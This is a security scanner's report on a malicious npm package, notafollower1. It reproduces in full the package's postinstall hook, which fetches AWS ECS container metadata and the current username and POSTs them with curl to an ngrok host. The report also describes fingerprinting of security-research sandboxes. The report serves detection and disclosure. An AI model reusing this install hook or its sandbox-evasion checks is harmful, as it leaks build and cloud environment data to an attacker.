notafollower1@1.0.5: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installing the package triggers credential-adjacent container metadata collection and user discovery. Output is exfiltrated to a remote ngrok host.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall during package installation

Impact

Exposes container metadata and host-user context to an attacker-controlled endpoint.

Mechanism

fetch ECS metadata, execute whoami, and POST collected output externally

Attack narrative

On installation, the postinstall command reads the ECS metadata service URL supplied by the runtime, fetches its response, obtains the current username through child_process, and writes both to stdout. Shell piping sends that output by curl to an external ngrok endpoint, without user interaction.

Rationale

The only package source defines an automatic install-time collection and exfiltration chain targeting ECS metadata and host identity.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14034

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower1 (npm)

Details

package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl. The postinstall also inspects the container image name for substrings matching known security research operators (twbray, packagehound, wiz, oss-dynamic) and labels the payload accordingly, indicating deliberate sandbox and analyst fingerprinting. The destination is an anonymous ngrok tunnel unrelated to any legitimate publisher infrastructure, and the collected data reveals installer-side CI/build/container environment details to a third party.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall fetches the ECS container metadata URL from the environment.
The install hook collects the current username and pipes metadata/output to an ngrok endpoint.

Evidence against

Package contains no other files or declared entrypoints; the malicious behavior is confined to the lifecycle hook.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.sta...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.sta...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.status,await r.text())}).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

postinstall fetches the ECS container metadata URL from the environment.

package.jsonView on unpkg · L5

package.json#scripts.postinstallView file

1"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.status,awai...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

package.json#scripts.postinstallView on unpkg · L1

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.sta...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.sta...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.status,await r.text())}).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

postinstall fetches the ECS container metadata URL from the environment.

package.jsonView on unpkg · L5

Findings

1 Critical3 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSame File Env Network Executionpackage.json#scripts.postinstall

HighSuspicious Lifecycle Evidencepackage.json

LowScripts Present

LowNo License